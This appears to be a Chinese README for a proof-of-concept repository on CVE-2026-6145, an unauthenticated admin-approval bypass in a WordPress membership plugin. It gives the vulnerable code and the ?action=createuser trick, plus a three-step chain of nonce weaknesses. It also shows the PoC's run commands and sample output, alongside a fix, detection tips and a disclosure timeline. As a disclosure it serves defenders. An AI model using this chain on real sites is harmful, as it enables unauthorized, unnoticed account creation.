针对 CVE-2026-6145 的概念验证漏洞利用,这是一个存在于 WordPress 插件 User Registration & Membership(≤ 5.1.5)中的缺失授权漏洞,允许未认证攻击者在创建新账户时绕过管理员审批要求。
| CVE ID | CVE-2026-6145 |
| CNA | Wordfence |
| 漏洞类型 | 缺失授权 — 管理员审批绕过 |
| CWE | CWE-862(缺失授权) |
| CVSS 3.1 | 5.3 中等(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| 受影响版本 | User Registration & Membership for WordPress — 所有版本 ≤ 5.1.5 |
| 已修复版本 | 版本 > 5.1.5 |
| 研究人员 | Anthony Cihan — 进攻性安全负责人,Obviam |
| 披露方式 | Wordfence 负责任披露计划 |
| 发布日期 | 2026-05-14 |
includes/class-ur-user-approval.php 中的 is_admin_creation_process() 方法是判断新注册是否应被视为管理员发起的创建的唯一关卡。当该方法返回 true 时,会产生两个副作用:
set_user_status() 将新用户的状态设置为 已批准,跳过待审批队列。send_request_notification_to_admin() 抑制新注册的管理员通知邮件。在 5.1.5 版本中,该方法本身不包含任何认证、授权或 nonce 验证:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
由于 $_REQUEST 合并了 $_GET、$_POST 和 $_COOKIE,未认证攻击者可以通过在注册表单提交的 URL 中添加 ?action=createuser 来满足此检查。插件随后会自动批准该账户,并且永远不会通知管理员。
虽然 CVE-2026-6145 专门针对 is_admin_creation_process() 中的缺失授权问题,但要在强化后的注册表单上实现完整的未认证利用,需要将它与同一插件版本中的两个辅助问题链接起来,而包含的 PoC 会自动处理这两个问题:
结果是:在明确要求新注册需管理员审批的站点上,创建了一个完全获批的用户账户,无需管理员交互或通知。
requests 库data-form-id)git clone https://github.com/<你的用户名>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <目标网址> <表单ID>
示例:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
运行 PoC 后,登录 wp-admin 并检查 Users → All Users:
在那些将管理员审批作为防止创建不需要账户的主要关卡(常见于会员站点、封闭社区、内部门户、B2B 平台以及任何需要在访问前进行身份验证的站点)的 WordPress 站点上,此漏洞静默地使该控制措施失效。具体后果包括:
CVSS 评分仅反映完整性影响(无直接数据机密性损失或服务中断),但实际影响的程度取决于受影响的站点在多大程度上将审批工作流程作为安全边界。
| 版本 | 状态 |
|---|---|
| ≤ 5.1.5 | 易受攻击 |
| > 5.1.5 | 已修复 |
Users → All Users,检查自安装易受攻击版本以来是否存在意外获批的账户。特别注意那些没有相应管理员通知邮件的账户。易受攻击的方法应同时包含权限检查和有效的 nonce:
protected function is_admin_creation_process() {
return current_user_can( 'create_users' )
&& isset( $_REQUEST['action'] )
&& 'createuser' === $_REQUEST['action']
&& isset( $_REQUEST['_wpnonce_create-user'] )
&& wp_verify_nonce(
wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
'create-user'
);
}
| 日期 | 事件 |
|---|---|
| 2026-03-09 | 在对插件 v5.1.4 进行授权安全审计期间发现漏洞 |
| 2026-03-09 | 向 Wordfence 负责任披露计划提交初始报告 |
| 2026-04-12 | Wordfence(CNA)保留 CVE-2026-6145 |
关注此插件授权模型的研究人员可能还对以下内容感兴趣:
register_member 进行认证绕过(≤ 5.1.2)研究、发现和 PoC 开发:
Anthony Cihan 进攻性安全负责人 — Obviam
如果您引用此作品,请引用 CVE-2026-6145,并注明 Anthony Cihan / Obviam。
此概念验证仅用于防御性研究、检测工程和授权安全测试。其目的是帮助:
原始研究是在授权实验室环境中根据签署的协议进行的,并在公开发布前通过 Wordfence 负责任披露计划向供应商进行了协调披露。
在您不拥有或没有明确书面授权进行测试的任何系统上运行此 PoC 是违法的,违反美国《计算机欺诈与滥用法》(18 U.S.C. § 1030)、英国《计算机滥用法》1990、欧盟指令 2013/40/EU 以及大多数司法管辖区的等效法律。作者和 Obviam 不对该代码的滥用承担任何责任。
使用此仓库即表示您承认已阅读、理解并接受这些条款。
根据 MIT 许可证 发布。按照上述致谢部分要求注明出处。
| 步骤 | 问题 | 目的 |
|---|
| 1 | 通过 user_registration_get_recent_nonce 的 wp_ajax_nopriv 端点(仅检查 Referer)进行未认证 nonce 生成 | 在无认证会话的情况下获取有效的 ur_frontend_form_nonce |
| 2 | 当表单处理器中的 ur_fallback_submit 非空时,跳过 AJAX nonce 检查 | 通过回退路径提交注册,无需有效的 AJAX referer |
| 3 | CVE-2026-6145 — $_REQUEST 中的 action=createuser 将 is_admin_creation_process() 切换为 true | 自动批准新账户并抑制管理员通知 |
| 2026-05-14 | 供应商发布已修复版本;CVE-2026-6145 发布 |
| 2026-05-14 | 此 PoC 与公开公告同步发布 |